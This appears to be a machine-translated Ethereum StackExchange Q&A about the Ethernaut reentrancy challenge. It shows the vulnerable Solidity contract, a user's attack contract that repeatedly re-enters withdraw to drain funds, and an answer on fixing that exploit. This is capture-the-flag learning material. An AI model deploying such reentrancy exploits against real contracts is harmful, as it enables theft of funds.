Remix

無法使用 Solidity 程式碼進行重入攻擊。Ethernaut Openzeppelin

  • May 24, 2022

這是我試圖破解的智能合約。你可以在這裡找到問題

 // SPDX-License-Identifier: MIT
   pragma solidity ^0.6.0;
   
   import '@openzeppelin/contracts/math/SafeMath.sol';
   
   contract Reentrance {
     
     using SafeMath for uint256;
     mapping(address => uint) public balances;
   
     function donate(address _to) public payable {
       balances[_to] = balances[_to].add(msg.value);
     }
   
     function balanceOf(address _who) public view returns (uint balance) {
       return balances[_who];
     }
   
     function withdraw(uint _amount) public {
       if(balances[msg.sender] >= _amount) {
         (bool result,) = msg.sender.call{value:_amount}("");
         if(result) {
           _amount;
         }
         balances[msg.sender] -= _amount;
       }
     }
   
     receive() external payable {}
   }

這是我為攻擊部署的智能合約

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./Reentrance.sol";

contract attackContract {

 Reentrance public _Reentrance;
 
 constructor(address payable _mainAddress) public payable {
   _Reentrance = Reentrance(_mainAddress);
 }
 function attack() public payable {
   _Reentrance.donate{ value : 3 wei , gas : 40000000}(address(this));
   _Reentrance.withdraw(1 wei);
 }

 fallback() external payable {
   if(address(_Reentrance).balance != 0)
   _Reentrance.withdraw(address(_Reentrance).balance);
 }

}

您可以在此處找到解決方案的詳細演練:https ://medium.com/coinmonks/ethernaut-lvl-10-re-entrancy-walkthrough-how-to-abuse-execution-ordering-and-reproduce-the-dao -7ec88b912c14

gas從您的攻擊功能中刪除,並將其更改fallback() payablereceive() payable. 契約將有效,沒有任何錯誤。儘管您的契約中有一些錯誤。您fallback()在一次呼叫中提到要提取契約的餘額,但第一個 if 將在那裡停止交易,因為使用者的餘額不能大於契約的餘額(如果其他人捐贈,那麼這將失敗)。所以糾正它,它會正常工作。

引用自:https://ethereum.stackexchange.com/questions/128811